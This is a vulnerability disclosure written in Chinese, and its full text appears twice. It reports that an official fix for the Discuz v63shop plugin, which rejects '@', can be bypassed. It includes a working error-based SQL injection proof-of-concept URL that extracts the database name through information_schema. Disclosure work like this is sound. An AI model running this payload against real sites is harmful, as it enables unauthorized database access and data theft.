### 简要描述: 过滤字符串中的@,但是始终没有修复根本问题 ### 详细说明: 官方的修复代码加了一个if判断 ``` if(strpos($clean, '@') !== false) { return '-3'; } ``` 过滤字符串中的@,但是始终没有修复根本问题,用如下方法可以去掉$clean变量中的@ ``` http://localhost/discuz/plugin.php?id=v63shop:goods&pac=info&gid=`'` or @`''` union select 1 from (select count(*),concat((select database()),floor(rand(0)*2))a from information_schema.tables group by a)b where @`'` ``` ### 漏洞证明: PoC: ``` http://localhost/discuz/plugin.php?id=v63shop:goods&pac=info&gid=`'` or @`''` union select 1 from (select count(*),concat((select database()),floor(rand(0)*2))a from information_schema.tables group by a)b where @`'` ``` 附截图: [<img src="https://images.seebug.org/upload/201303/26155817a0422273bb352a6b47332c776b079883.png" alt="1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201303/26155817a0422273bb352a6b47332c776b079883.png)
### 简要描述: 过滤字符串中的@,但是始终没有修复根本问题 ### 详细说明: 官方的修复代码加了一个if判断 ``` if(strpos($clean, '@') !== false) { return '-3'; } ``` 过滤字符串中的@,但是始终没有修复根本问题,用如下方法可以去掉$clean变量中的@ ``` http://localhost/discuz/plugin.php?id=v63shop:goods&pac=info&gid=`'` or @`''` union select 1 from (select count(*),concat((select database()),floor(rand(0)*2))a from information_schema.tables group by a)b where @`'` ``` ### 漏洞证明: PoC: ``` http://localhost/discuz/plugin.php?id=v63shop:goods&pac=info&gid=`'` or @`''` union select 1 from (select count(*),concat((select database()),floor(rand(0)*2))a from information_schema.tables group by a)b where @`'` ``` 附截图: [<img src="https://images.seebug.org/upload/201303/26155817a0422273bb352a6b47332c776b079883.png" alt="1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201303/26155817a0422273bb352a6b47332c776b079883.png)